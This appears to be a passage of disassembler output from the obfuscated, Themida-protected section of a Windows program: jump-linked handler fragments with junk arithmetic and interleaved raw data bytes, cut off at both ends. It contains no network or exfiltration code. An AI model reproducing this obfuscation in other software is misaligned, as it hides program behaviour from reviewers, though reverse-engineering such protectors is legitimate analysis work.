[esp] xor [esp], edx jmp loc_5A7A8B ; --------------------------------------------------------------------------- loc_5A088F: ; CODE XREF: Themida_:005A4FAAj push esp jmp loc_5A9E5F ; --------------------------------------------------------------------------- db 66h, 8Bh, 4 db '$h}',0Bh,0 align 2 dw 1C89h aTH7f db '$T[h7F',0 align 4 dd 68240489h, 2EDF1025h, 49F2E958h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5A08B6: ; CODE XREF: Themida_:005AE50Bj mov fs:[edx], al jmp loc_59838C ; --------------------------------------------------------------------------- loc_5A08BE: ; CODE XREF: Themida_:0059D127j xchg esi, [esp] pop esp jmp loc_59E827 ; --------------------------------------------------------------------------- loc_5A08C7: ; CODE XREF: Themida_:005995FCj ; Themida_:005AA7A8j push ecx jmp loc_59DA12 ; --------------------------------------------------------------------------- loc_5A08CD: ; CODE XREF: Themida_:005A248Aj ; Themida_:005A2ED6j pop esp jmp loc_5AD8CE ; --------------------------------------------------------------------------- loc_5A08D3: ; CODE XREF: Themida_:005AD640j xor eax, ecx jmp loc_5ABDA1 ; --------------------------------------------------------------------------- dw 34FFh dd 24048B24h, 517B68h, 4A34E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5A08EA: ; CODE XREF: Themida_:005A33BBj pop esi push ebp jmp loc_5A6D7F ; --------------------------------------------------------------------------- loc_5A08F1: ; CODE XREF: Themida_:005A4FD4j push edx push 2FFA2005h jmp loc_5AB3B3 ; --------------------------------------------------------------------------- loc_5A08FC: ; CODE XREF: Themida_:005AD29Cj shl ebx, 6 and ebx, 2AAC54DBh shr ebx, 2 sub ebx, 0FDBFF5B1h jmp loc_5AD208 ; --------------------------------------------------------------------------- db 43h dd 0C955880Fh, 0F381FFFFh, 9C84D652h, 1C8BDD89h db 24h ; --------------------------------------------------------------------------- loc_5A0925: ; CODE XREF: Themida_:005A1FA8j ; Themida_:005AD984j push edx mov edx, 42861F9Ch jmp loc_5A5310 ; --------------------------------------------------------------------------- dd 0E9A9F280h, 0CFF2h ; --------------------------------------------------------------------------- loc_5A0938: ; CODE XREF: Themida_:005A6B48j pop ebp sub ebx, edx sub esp, 4 mov [esp], ebp mov ebp, 7F1A39A2h neg ebp xor ebp, 48784FC6h jge loc_5A8D08 dec ebp jo loc_5A4C04 or ebp, 0DF93974h jp loc_59B666 neg ebp jg loc_5AEB97 push ecx mov ecx, 3C91C503h add ebp, ecx pop ecx xchg esi, ebp loc_5A097D: ; CODE XREF: Themida_:00598449j pop eax jmp loc_5A5A5A ; --------------------------------------------------------------------------- db 8Bh dd 89502404h, 4B951E0h, 2D000000h, 35781730h, 3005C801h dd 59357817h, 6C2E9h db 0 ; --------------------------------------------------------------------------- loc_5A09A1: ; CODE XREF: Themida_:0059C1F1j pop edx xor edx, 0E438F93Eh push 2B78h mov [esp], ebx mov ebx, edx mov ecx, ebx pop ebx jmp loc_5A6B63 ; --------------------------------------------------------------------------- dw 0C581h dd 34D451DBh, 2EFED81h, 0E5C151F3h, 1ED8104h, 83000000h dd 22E9FFEDh db 0DEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A09D7: ; CODE XREF: Themida_:005989A1j xchg edi, esi not edi xchg edi, esi sub esi, 8BAB961Eh xor ecx, esi pop esi xor ebx, ecx pop ecx add ecx, ebx mov ebx, [esp] add esp, 4 push 365Ch mov [esp], ecx push dword ptr [esp+4] jmp loc_5A229D ; --------------------------------------------------------------------------- loc_5A0A05: ; CODE XREF: Themida_:005AC2AAj shr ebp, 2 jz loc_5A02B2 shr ebp, 1 jmp loc_5AB2C7 ; --------------------------------------------------------------------------- loc_5A0A15: ; CODE XREF: Themida_:005AD80Aj not esi sub esi, 0E4F4A5DDh add ecx, esi pop esi sub ecx, 4 xchg ecx, [esp] pop esp jmp loc_5A81F8 ; --------------------------------------------------------------------------- loc_5A0A2F: ; CODE XREF: Themida_:0059946Dj ; Themida_:0059B141j push ecx mov ecx, esp add ecx, 4 sub ecx, 4 jmp loc_5AEE14 ; --------------------------------------------------------------------------- loc_5A0A43: ; CODE XREF: Themida_:0059D488j not ecx dec ecx jmp loc_5A0B6A ; --------------------------------------------------------------------------- loc_5A0A4B: ; CODE XREF: Themida_:005AAEB5j sub edi, ebx pop ebx sub ebx, 4B0436E3h push eax push esi push 2611541Eh pop esi shr esi, 5 xor esi, 16CA010Dh jmp loc_5AF3E4 ; --------------------------------------------------------------------------- loc_5A0A6A: ; CODE XREF: Themida_:0059B2A3j mov edx, esp jmp loc_59959F ; --------------------------------------------------------------------------- db 81h, 0C3h, 0EEh dd 0F0A7672h, 72BB81h, 984BE900h, 5B54FFFFh, 4B951h, 0C5880000h dd 5715EB81h, 0E9530A84h, 0FFFFCB67h, 9923E957h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5A0A9E: ; CODE XREF: Themida_:005A5062j add ebx, 4 jmp loc_5AEA23 ; --------------------------------------------------------------------------- db 5Fh, 58h, 0F7h dd 2F810FDEh, 8300004Eh, 0F681FFEEh, 0E553FE8Ah, 348BF031h dd 6FF28124h, 0F100914h, 0CE7089h, 3E2C100h, 0FF9957E9h dd 4C483FFh, 8006E4C0h, 890F8AECh, 6F78h, 85A5E9h, 0EAEB8100h db 48h, 1, 14h ; --------------------------------------------------------------------------- loc_5A0AEF: ; CODE XREF: Themida_:005A8C32j sub esp, 4 mov [esp], ecx push eax mov ah, 3Bh mov ch, 70h xor ch, ah jmp loc_599B5E ; --------------------------------------------------------------------------- db 31h, 3Ch, 24h dd 31243C33h, 8951243Ch, 4C181E1h, 83000000h, 0C8704E9h dd 3C895C24h, 595F5124h, 0CB31D931h, 30E9D931h db 0CBh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5A0B2B: ; CODE XREF: Themida_:0059A9E8j jmp loc_5AAC5F ; --------------------------------------------------------------------------- loc_5A0B30: ; CODE XREF: Themida_:005A6A20j mov ecx, [esp] jmp loc_59AFCE ; --------------------------------------------------------------------------- loc_5A0B38: ; CODE XREF: Themida_:005ABD39j sub eax, 2E8A5AE4h mov ecx, [esp] add esp, 4 jmp loc_59B9DD ; --------------------------------------------------------------------------- dd 240C8B66h, 4EC81h, 3C890000h, 4EC8124h, 89000000h, 4812424h dd 424h, 3771E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5A0B6A: ; CODE XREF: Themida_:005A0A46j not ecx shr ecx, 1 jmp loc_59A21A ; --------------------------------------------------------------------------- loc_5A0B73: ; CODE XREF: Themida_:00599691j jz loc_5A9805 xor esi, 2D21BCABh push 4BBDh mov [esp], eax push esi add dword ptr [esp], 23652598h pop eax jmp loc_59C4A3 ; --------------------------------------------------------------------------- db 5Bh, 30h, 0FEh dd 0FE30F730h, 0F9885166h, 0CF88D1F6h, 240C8B66h, 8602C483h dd 0B532E9FEh, 5401FFFFh, 34FF0824h, 0C4815A24h, 4, 1DB7E9h db 0 ; --------------------------------------------------------------------------- loc_5A0BC5: ; CODE XREF: Themida_:0059B5D8j add ecx, 9470C21h push dword ptr [esp] pop eax add esp, 4 push esi jmp loc_59D9B4 ; --------------------------------------------------------------------------- loc_5A0BD8: ; CODE XREF: Themida_:loc_5A0728j shl edi, 2 jmp loc_5A2255 ; --------------------------------------------------------------------------- dd 0C8BCA88h, 4C48124h, 0C0000000h, 536608E2h, 0B3C4B652h dd 5AF300BFh, 0FF8A79E9h db 0FFh ; --------------------------------------------------------------------------- loc_5A0BFD: ; CODE XREF: Themida_:005AAFEDj inc ebp jmp loc_5AEFA8 ; --------------------------------------------------------------------------- loc_5A0C03: ; CODE XREF: Themida_:0059CEEAj xchg ecx, [esp] pop esp mov [esp], ecx jmp loc_5AEA15 ; --------------------------------------------------------------------------- loc_5A0C0F: ; CODE XREF: Themida_:005A499Ej add ebx, 4 add ebx, 4 jmp loc_59BB9C ; --------------------------------------------------------------------------- loc_5A0C1D: ; CODE XREF: Themida_:0059CDEDj push edi push 56C80759h jmp loc_59D096 ; --------------------------------------------------------------------------- loc_5A0C28: ; CODE XREF: Themida_:0059CF06j push eax mov al, 0D4h add cl, al jmp loc_59EA91 ; --------------------------------------------------------------------------- dw 6664h dd 8953028Bh, 0BF5751E3h, 15722BC3h, 722BC7B9h, 8BF93115h dd 0C481243Ch, 4, 0E959CB01h, 0B5D7h ; --------------------------------------------------------------------------- loc_5A0C58: ; CODE XREF: Themida_:005AF4E6j pop esi push ecx push ebx mov ebx, 304E7DEDh mov ecx, ebx jmp loc_59844E ; --------------------------------------------------------------------------- db 81h dd 0A534ADCDh, 6803h, 2C290000h, 0ED815D24h, 0D8004B0Fh dd 0AFC6E955h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5A0C82: ; CODE XREF: Themida_:0059D7F8j push ecx not byte ptr [esp] jmp loc_59C68B ; --------------------------------------------------------------------------- db 53h dd 0C381E389h, 4, 4C381h, 8AE90000h, 81FFFF84h, 85FFE9EEh dd 5EF3898Eh, 61CDE9h db 0 ; --------------------------------------------------------------------------- loc_5A0CAD: ; CODE XREF: Themida_:0059ACA3j push dword ptr [esp] mov ecx, [esp] push edx mov edx, esp add edx, 4 jmp loc_59C7C9 ; --------------------------------------------------------------------------- aMsx db '¬ιx{',0 db 0 ; --------------------------------------------------------------------------- loc_5A0CC7: ; CODE XREF: Themida_:005A478Dj mov ecx, 0B2973A0h push edi mov edi, 1BF6411Eh add edi, 0F53DC723h mov eax, edi pop edi xor eax, ecx pop ecx sub esp, 4 mov [esp], edi mov edi, 0 sub edi, eax xchg eax, edi jmp loc_5AD1B5 ; --------------------------------------------------------------------------- loc_5A0CF1: ; CODE XREF: Themida_:005A7390j inc esi jmp loc_5AE7F1 ; --------------------------------------------------------------------------- loc_5A0CF7: ; CODE XREF: Themida_:005A910Cj mov ebp, 1D1A0CF4h xor ebp, ebx pop ebx sub [esp+4], ebp mov ebp, [esp] push ecx jmp loc_5A405D ; --------------------------------------------------------------------------- dd 5C241C33h, 4C681h, 0BA520000h, 4BBB4B83h, 0C103EAC1h dd 0EEE905E2h db 0E6h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5A0D27: ; CODE XREF: Themida_:005AE26Fj mov ecx, [esp] add esp, 4 push eax mov eax, 312F1C5Fh sub eax, 6218252h jmp loc_5A27D5 ; --------------------------------------------------------------------------- loc_5A0D40: ; CODE XREF: Themida_:00599538j sub esp, 4 mov [esp], ebx jmp loc_59950A ; --------------------------------------------------------------------------- loc_5A0D4E: ; CODE XREF: Themida_:0059D354j pop esp add eax, ebx push ebx push esi push 57F048CDh pop esi sub esi, 4820CB06h jmp loc_5ACAD0 ; --------------------------------------------------------------------------- loc_5A0D64: ; CODE XREF: Themida_:0059BDFAj mov ecx, [esp] add esp, 4 jmp loc_59C426 ; --------------------------------------------------------------------------- loc_5A0D6F: ; CODE XREF: Themida_:005AB495j inc bh push eax mov eax, esp jmp loc_5A896B ; --------------------------------------------------------------------------- loc_5A0D79: ; CODE XREF: Themida_:005A9048j pop eax jmp loc_5A87B0 ; --------------------------------------------------------------------------- loc_5A0D7F: ; CODE XREF: Themida_:0059B8DFj push esp pop ebp jmp loc_5A9793 ; --------------------------------------------------------------------------- loc_5A0D86: ; CODE XREF: Themida_:005A4582j add eax, 56A27872h add eax, esi sub eax, 56A27872h pop esi push 6053h mov [esp], eax push eax mov eax, 226E73DCh xor [esp+4], eax pop eax pop ebp jmp loc_59A6F8 ; --------------------------------------------------------------------------- loc_5A0DAC: ; CODE XREF: Themida_:0059A04Fj mov ecx, 2 add eax, ecx jmp loc_5A3544 ; --------------------------------------------------------------------------- loc_5A0DB8: ; CODE XREF: Themida_:005AE302j inc eax jmp loc_5A562A ; --------------------------------------------------------------------------- loc_5A0DBE: ; CODE XREF: Themida_:0059944Aj pop edx jmp loc_598584 ; --------------------------------------------------------------------------- loc_5A0DC4: ; CODE XREF: Themida_:005A3AFCj and eax, 6E370A4Bh jmp loc_5AA39F ; --------------------------------------------------------------------------- loc_5A0DCE: ; CODE XREF: Themida_:0059A41Bj add eax, 494674CCh mov esi, [esp] add esp, 4 push ebp jmp loc_5A0029 ; --------------------------------------------------------------------------- loc_5A0DDF: ; CODE XREF: Themida_:005ACE23j pop esp mov [esp], ebx mov ebx, esp jmp loc_5AA628 ; --------------------------------------------------------------------------- loc_5A0DEA: ; CODE XREF: Themida_:005AB40Cj sub esp, 4 mov [esp], edx jmp loc_59DF40 ; --------------------------------------------------------------------------- loc_5A0DF8: ; CODE XREF: Themida_:005A62CDj mov edx, [esp] jmp loc_5A40B2 ; --------------------------------------------------------------------------- loc_5A0E00: ; CODE XREF: Themida_:005A8C14j mov ecx, 469B2150h shl ecx, 5 shr ecx, 3 shl ecx, 5 xor ecx, 6D2D8926h or ebx, ecx jmp loc_59F927 ; --------------------------------------------------------------------------- loc_5A0E1B: ; CODE XREF: Themida_:005A7AB7j pop eax jmp loc_5A8926 ; --------------------------------------------------------------------------- loc_5A0E21: ; CODE XREF: Themida_:005AEFAAj not edx xchg edx, ebp sub ebp, 4D521BEAh add ebp, 79C201Dh xor ebp, 4683A6DEh sub edx, ebp jmp loc_5A8BAA ; --------------------------------------------------------------------------- dw 49E9h db 75h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A0E43: ; CODE XREF: Themida_:005ADF85j add ecx, 3419449Dh sub ecx, 413D1BCBh jmp loc_5AAA25 ; --------------------------------------------------------------------------- loc_5A0E54: ; CODE XREF: Themida_:0059AB76j jnz loc_59CC81 add ebp, 1837740Eh jl loc_598A1C push esi loc_5A0E67: ; CODE XREF: Themida_:005AD9D8j push esi jmp loc_5AB5D0 ; --------------------------------------------------------------------------- loc_5A0E6D: ; CODE XREF: Themida_:005AABBAj neg edi jbe loc_5A05B2 shr edi, 8 jp loc_598BC5 add edi, 1B748BEFh neg ebx jbe loc_5A60EB and ebx, 68BB541Dh jmp loc_59B09F ; --------------------------------------------------------------------------- db 8Bh db 0DEh, 5Eh ; --------------------------------------------------------------------------- loc_5A0E9A: ; CODE XREF: Themida_:005A9F7Ej push ecx mov ecx, esp jmp loc_5A479D ; --------------------------------------------------------------------------- loc_5A0EA2: ; CODE XREF: Themida_:005A31D3j not ecx push 53A5h mov [esp], ebx mov ebx, 5A657D99h xor ecx, ebx jmp loc_59A60A ; --------------------------------------------------------------------------- loc_5A0EB8: ; CODE XREF: Themida_:005ABC96j add edx, 56D002BBh jmp loc_59A6B6 ; --------------------------------------------------------------------------- loc_5A0EC3: ; CODE XREF: Themida_:0059EC59j add ebx, ecx pop ecx sub ebx, 21F238B3h add ebx, ebp add ebx, 21F238B3h sub ebx, 24045320h mov ebp, [esp] add esp, 4 jmp loc_59F7A4 ; --------------------------------------------------------------------------- loc_5A0EE8: ; CODE XREF: Themida_:005A4CAFj mov [esp], edx push eax pushf jmp loc_59838C ; --------------------------------------------------------------------------- loc_5A0EF2: ; CODE XREF: Themida_:00599EC9j sub esp, 4 mov [esp], esp add dword ptr [esp], 4 jmp loc_5A1BD2 ; --------------------------------------------------------------------------- loc_5A0F04: ; CODE XREF: Themida_:005A89EFj add esp, 4 movzx eax, al pop small word ptr [edi+eax*4] jmp loc_59838C ; --------------------------------------------------------------------------- dw 0D101h dd 0A5B8505Ah, 81580E1Ch, 0DF18C3E9h, 81C1295Ah, 0DF18C3C1h dd 0A101E95Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A0F32: ; CODE XREF: Themida_:loc_59F510j and ebx, 11D108BBh jle loc_5AEF31 sub ebx, 1000C09Bh and eax, ebx push dword ptr [esp] pop ebx jmp loc_5AE121 ; --------------------------------------------------------------------------- loc_5A0F4F: ; CODE XREF: Themida_:0059B3BBj pop ebp add eax, edi add eax, 731926F3h sub eax, 122D24E4h jmp loc_5A11E3 ; --------------------------------------------------------------------------- loc_5A0F61: ; CODE XREF: Themida_:005A486Fj push 65B4h mov [esp], edx jmp loc_59DBDB ; --------------------------------------------------------------------------- loc_5A0F6E: ; CODE XREF: Themida_:005A9FB6j not esi push ebx mov ebx, 0FF7FFEF9h xor esi, ebx mov ebx, [esp] add esp, 4 mov ecx, esi pop esi add ebp, ecx pop ecx xchg ebp, [esp] jmp loc_5AD210 ; --------------------------------------------------------------------------- dd 8A538535h, 58C7891Bh, 0EF81E7D1h, 46D13434h, 81E9FE01h dd 5CFFFFDFh, 8704C583h, 5DE9242Ch db 3Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_5A0FAF: ; CODE XREF: Themida_:0059E154j push ax mov al, 7Fh jmp loc_5A067F ; --------------------------------------------------------------------------- loc_5A0FB8: ; CODE XREF: Themida_:0059BC0Ej shr ebp, 7 sub ebp, 0FFFFFFFFh add ebp, 67A722BCh sub ebp, 68A641B2h add ecx, ebp pop ebp jmp loc_5ACEF5 ; --------------------------------------------------------------------------- loc_5A0FD5: ; CODE XREF: Themida_:005A1365j add ecx, 2 xchg ecx, [esp] mov esp, [esp] div cl movzx cx, ah push small 5121h mov [esp], cx jmp loc_5AC45B ; --------------------------------------------------------------------------- dd 405h, 4C08300h, 5BD3E9h db 0 ; --------------------------------------------------------------------------- loc_5A1001: ; CODE XREF: Themida_:005A40D8j mov al, 7Eh push 1DEAh mov [esp], ecx jmp loc_5A26BC ; --------------------------------------------------------------------------- dd 0D15DF8BDh, 5DE92945h, 678EC181h, 42E97E30h db 0A4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A1023: ; CODE XREF: Themida_:005A6F88j mov [esp], esp push esi mov esi, 4 add [esp+4], esi pop esi jmp loc_5A6AA6 ; --------------------------------------------------------------------------- loc_5A1036: ; CODE XREF: Themida_:005A53C7j push 2803h jmp loc_5A4E4F ; --------------------------------------------------------------------------- loc_5A1040: ; CODE XREF: Themida_:005AC0EFj mov esi, [esp] add esp, 4 add ebx, 3D0669E3h push edi mov edi, 0B8C52F8h jmp loc_5A253B ; --------------------------------------------------------------------------- loc_5A1057: ; CODE XREF: Themida_:0059E1A9j mov esp, [esp] or [esp], eax pushf jmp loc_59838C ; --------------------------------------------------------------------------- db 81h dd 4ECh, 24348900h, 4BEh, 0CBE5E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A1076: ; CODE XREF: Themida_:0059D16Ej jmp loc_59B394 ; --------------------------------------------------------------------------- loc_5A107B: ; CODE XREF: Themida_:005A8562j push edi mov edi, 38616C74h add eax, edi pop edi push dword ptr [esp] jmp loc_59F625 ; --------------------------------------------------------------------------- loc_5A108C: ; CODE XREF: Themida_:005ACAD2j pop esi add ebx, 0FFFFFFFFh push esi mov esi, 24CE586Fh or ebx, esi pop esi add ebx, 0BF6FF7Ah sub eax, ebx jmp loc_5AD5A5 ; --------------------------------------------------------------------------- db 52h, 83h, 0ECh dd 24248904h, 4BB53h, 32E90000h db 81h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A10BB: ; CODE XREF: Themida_:0059A750j add esi, 962DF81Dh jmp loc_5ABE4E ; --------------------------------------------------------------------------- dw 8B66h dd 8268240Ch, 8900006Bh, 0E589242Ch, 191868h, 240C8900h dd 0D80287B9h, 0C1E9D120h, 9CE907E9h db 0B1h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5A10EB: ; CODE XREF: Themida_:loc_5AF311j push ebx jmp loc_5A50C9 ; --------------------------------------------------------------------------- loc_5A10F1: ; CODE XREF: Themida_:005A4987j pop ebx dec dl not dl sub dl, 7Fh add al, dl pop edx jmp loc_5A3A8F ; --------------------------------------------------------------------------- loc_5A1101: ; CODE XREF: Themida_:005A5C61j pop edi push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] jmp loc_5A6A12 ; --------------------------------------------------------------------------- loc_5A1116: ; CODE XREF: Themida_:005A3755j mov ecx, 4 jmp loc_5AB2BA ; --------------------------------------------------------------------------- dd 0F04EBC1h, 0FFB62485h, 9F05E9FFh, 1C89FFFFh, 0E2895224h db 54h ; --------------------------------------------------------------------------- loc_5A1135: ; CODE XREF: Themida_:0059D91Cj add esp, 4 add ebp, ebx push ebx mov ebx, 16164372h push eax jmp loc_598B0A ; --------------------------------------------------------------------------- db 31h, 0F1h, 5Eh dd 4941D9F7h, 84F6E981h, 0CA29372Fh, 81FA0159h, 0FB43E6C2h dd 0C2815F6Ah, 4, 5C241487h, 5585450h, 4, 0C2B8E951h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A117A: ; CODE XREF: Themida_:0059B26Cj pop esp jmp loc_59838C ; --------------------------------------------------------------------------- loc_5A1180: ; CODE XREF: Themida_:0059AD5Ej dec cl xor cl, 0CCh push ecx mov ch, 64h dec ch dec ch jmp loc_59EFF0 ; --------------------------------------------------------------------------- loc_5A1191: ; CODE XREF: Themida_:005A7C8Aj add edx, 0EFA7DE0h jnz loc_5A4A06 inc edx jmp loc_5A4E59 ; --------------------------------------------------------------------------- db 5Ch db 1, 0C8h, 58h ; --------------------------------------------------------------------------- loc_5A11A7: ; CODE XREF: Themida_:005995DAj xchg eax, ecx jmp loc_5AEF41 ; --------------------------------------------------------------------------- db 1, 0C8h, 59h dd 0F706E8C1h, 0C1D8F7D8h, 0E99602E8h, 0FFFFBA1Ah ; --------------------------------------------------------------------------- loc_5A11C0: ; CODE XREF: Themida_:0059D411j mov [esp], ebp sub esp, 4 mov [esp], eax push 22C96EF5h mov eax, [esp] jmp loc_5A247B ; --------------------------------------------------------------------------- loc_5A11D6: ; CODE XREF: Themida_:loc_5A1652j sub edi, 0E1FB5E3Dh mov edx, edi jmp loc_5A4CB4 ; --------------------------------------------------------------------------- loc_5A11E3: ; CODE XREF: Themida_:005A0F5Cj push dword ptr [esp] mov edi, [esp] add esp, 4 add esp, 4 push eax push dword ptr [esp+4] push dword ptr [esp] pop eax add esp, 4 pop dword ptr [esp] mov esp, [esp] test ecx, eax pushf jmp loc_59838C ; --------------------------------------------------------------------------- loc_5A120C: ; CODE XREF: Themida_:00598F6Cj mov cl, 0FAh and cl, 94h shl cl, 1 sub cl, 34h xor cl, 43h jmp loc_5ADCE5 ; --------------------------------------------------------------------------- loc_5A121E: ; CODE XREF: Themida_:005A1C73j mov dh, 0EDh jmp loc_5A5EF7 ; --------------------------------------------------------------------------- db 66h, 8Bh, 0Ch dd 4EC8124h, 0E9000000h, 6DC5h ; --------------------------------------------------------------------------- loc_5A1234: ; CODE XREF: Themida_:005AAB59j xchg edx, [esp] pop esp sub al, cl mov cx, [esp] add esp, 2 sub al, 0A1h push small 41C2h mov [esp], bx push 58B9h jmp loc_5A40CD ; --------------------------------------------------------------------------- loc_5A1255: ; CODE XREF: Themida_:005A8BDAj inc ch jge loc_5ABBEB inc ch jnp loc_5AA8C2 mov dh, bh mov ebx, ebx loc_5A1269: ; CODE XREF: Themida_:loc_59C93Fj jmp loc_5A8397 ; --------------------------------------------------------------------------- loc_5A126E: ; CODE XREF: Themida_:0059A73Fj and [edi+1Ch], ebx mov ebx, [esp] add esp, 4 jmp loc_5A36FE ; --------------------------------------------------------------------------- loc_5A127F: ; CODE XREF: Themida_:0059E18Cj ; Themida_:005A1FC8j or eax, 3C1B7417h xor eax, 6ED4B40h jmp loc_5AAB1B ; --------------------------------------------------------------------------- loc_5A128E: ; CODE XREF: Themida_:005AB4A6j add esp, 4 pop dword ptr [esp] mov esp, [esp] mov [esp], ebp push edx mov edx, 2FCF1890h push edi push esp pop edi push ebx mov ebx, 6ACC206Bh shl ebx, 1 xor ebx, 5D4037E3h xor ebx, 88D87731h add edi, ebx mov ebx, [esp] add esp, 4 sub edi, 4 xchg edi, [esp] pop esp mov [esp], esi jmp loc_59FF3B ; --------------------------------------------------------------------------- loc_5A12D1: ; CODE XREF: Themida_:005ADAC8j pop ebx pop eax push 66BCh mov [esp], ecx mov ecx, 43B6398Fh jmp loc_5A775C ; --------------------------------------------------------------------------- loc_5A12E5: ; CODE XREF: Themida_:005A6FEDj ; Themida_:005AB0EAj push edi mov edi, ecx jmp loc_599607 ; --------------------------------------------------------------------------- loc_5A12ED: ; CODE XREF: Themida_:005A4FBBj pop esp jmp loc_5A8692 ; --------------------------------------------------------------------------- loc_5A12F3: ; CODE XREF: Themida_:0059ABD8j and ch, 0C7h add ch, 0F0h dec ch jmp loc_59E14C ; --------------------------------------------------------------------------- dd 8030CD80h, 0E82845F5h, 886FE959h, 79E9FFFFh db 70h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A1313: ; CODE XREF: Themida_:005A8EBFj mov eax, [esp] add esp, 4 add edx, edi mov edi, [esp] add esp, 4 jmp loc_598EAF ; --------------------------------------------------------------------------- dd 0B17492BBh, 5EF3315Ah, 0E95BDE29h, 0FFFFBDB0h ; --------------------------------------------------------------------------- loc_5A133C: ; CODE XREF: Themida_:005AE8B0j pop esi sub ebx, 4 xchg ebx, [esp] jmp loc_59F3C6 ; --------------------------------------------------------------------------- db 83h dd 0C8904ECh, 95B6E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5A1356: ; CODE XREF: Themida_:0059C474j ; Themida_:005A235Cj pop esi push ebp mov ebp, 2A52E52h jmp loc_59D38C ; --------------------------------------------------------------------------- loc_5A1362: ; CODE XREF: Themida_:0059C584j add ecx, ebp pop ebp jmp loc_5A0FD5 ; --------------------------------------------------------------------------- dw 3C8Bh dd 4C48324h, 898EE9h db 0 ; --------------------------------------------------------------------------- loc_5A1375: ; CODE XREF: Themida_:005A05D9j sub edx, edi pop edi add edx, 563E0ACDh push esi mov esi, esp add esi, 4 sub esi, 4 jmp loc_5ABFDC ; --------------------------------------------------------------------------- loc_5A138F: ; CODE XREF: Themida_:005AC95Cj ; Themida_:005AE905j imul ecx jmp loc_5A76BE ; --------------------------------------------------------------------------- loc_5A1396: ; CODE XREF: Themida_:005A9C96j shr ecx, 4 js loc_5A2534 and ecx, 3E0D1955h dec ecx jmp loc_5A471B ; --------------------------------------------------------------------------- loc_5A13AB: ; CODE XREF: Themida_:005A34CAj push edi push dword ptr [esp+4] push dword ptr [esp] pop edi add esp, 4 pop dword ptr [esp] jmp loc_5AB4AB ; --------------------------------------------------------------------------- loc_5A13BF: ; CODE XREF: Themida_:0059A78Fj mov eax, [ecx] push dword ptr [esp] pop ecx jmp loc_598CD9 ; --------------------------------------------------------------------------- loc_5A13CA: ; CODE XREF: Themida_:005A71C9j xchg ebx, edx push ebx jmp loc_5AD440 ; --------------------------------------------------------------------------- loc_5A13D2: ; CODE XREF: Themida_:005A84ECj push 4B0Ch jmp loc_59BEA6 ; --------------------------------------------------------------------------- dd 2963F581h, 0E9452206h, 0FFFFF87Fh, 81240C8Bh, 4C4h dd 24048700h, 0FF9145E9h db 0FFh ; --------------------------------------------------------------------------- loc_5A13F9: ; CODE XREF: Themida_:005A6A8Dj add eax, 4 xchg eax, [esp] jmp loc_5A1E01 ; --------------------------------------------------------------------------- loc_5A1406: ; CODE XREF: Themida_:0059A027j ; Themida_:005ADBFAj pop ebp jmp loc_5AA856 ; --------------------------------------------------------------------------- loc_5A140C: ; CODE XREF: Themida_:005A6066j ; Themida_:005A9910j add al, 85h and al, 9Eh jmp loc_5AC8F3 ; --------------------------------------------------------------------------- loc_5A1415: ; CODE XREF: Themida_:005AD354j pop esp or edx, eax shl edx, 1 push ebx mov ebx, 7B151069h push edx push 2255h mov [esp], edi push 1B4A617Eh mov edi, [esp] add esp, 4 dec edi jnz loc_5A1652 jmp loc_5ACFD9 ; --------------------------------------------------------------------------- dd 8051EA80h, 0C2FED7CAh db 0FEh, 0C2h ; --------------------------------------------------------------------------- loc_5A144A: ; CODE XREF: Themida_:005A2B34j sub eax, 4 xchg eax, [esp] pop esp mov [esp], edx mov edx, 78E4A62h push ebp jmp loc_5A60DE ; --------------------------------------------------------------------------- loc_5A145F: ; CODE XREF: Themida_:0059EE42j mov ecx, 4 add edx, ecx pop ecx push ebp mov ebp, 2 sub edx, 1A9E3C29h jmp loc_5A7489 ; --------------------------------------------------------------------------- loc_5A1478: ; CODE XREF: Themida_:005A4123j and eax, edx mov edx, [esp] add esp, 4 jmp loc_59EA2D ; --------------------------------------------------------------------------- loc_5A1485: ; CODE XREF: Themida_:0059C7A4j pop esp jmp loc_598D08 ; --------------------------------------------------------------------------- loc_5A148B: ; CODE XREF: Themida_:005A76ECj ; Themida_:005A78ABj push 551Dh mov [esp], ebx push edi mov edi, 3A51FCEh mov ebx, 3E2E5BABh xor ebx, edi jmp loc_5A51CA ; --------------------------------------------------------------------------- db 0C1h, 0EBh, 5 dd 0DAE8E9h, 2434FF00h, 8B2434FFh, 0C4832404h, 0E6895604h dd 0BA06E9h db 0 ; --------------------------------------------------------------------------- loc_5A14C1: ; CODE XREF: Themida_:0059BC63j sub ebx, eax jmp loc_5A339E ; --------------------------------------------------------------------------- dd 0EA81C201h, 5B475644h, 7587EA81h, 0BE563E58h, 7DC6FA4h dd 53D668h, 243C8900h, 5AFD68h, 24148900h, 43B06855h, 2C8B17BBh dd 4C48124h, 81000000h, 412548E5h, 0C4DBE959h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A1506: ; CODE XREF: Themida_:005A808Bj shr cl, 1 push ebx mov bh, 88h or bh, 0CCh push dx mov dh, bh not dh mov bh, dh pop dx sub bh, 2Ah xor cl, bh pop ebx push eax jmp loc_5998A0 ; --------------------------------------------------------------------------- dd 56241489h, 0FF7872E9h db 0FFh ; --------------------------------------------------------------------------- loc_5A152D: ; CODE XREF: Themida_:005A3CF2j sub al, 90h jg loc_59BBA4 xor al, 89h jnp loc_5A6975 or ah, 29h push eax mov ah, 10h or ah, 6 jmp loc_5AF275 ; --------------------------------------------------------------------------- db 8Bh dd 0C892424h, 81E18924h, 4C1h, 89E95100h, 8BFFFFCEh, 24E9243Ch db 0F7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A1567: ; CODE XREF: Themida_:0059DA20j mov edx, [esp] push 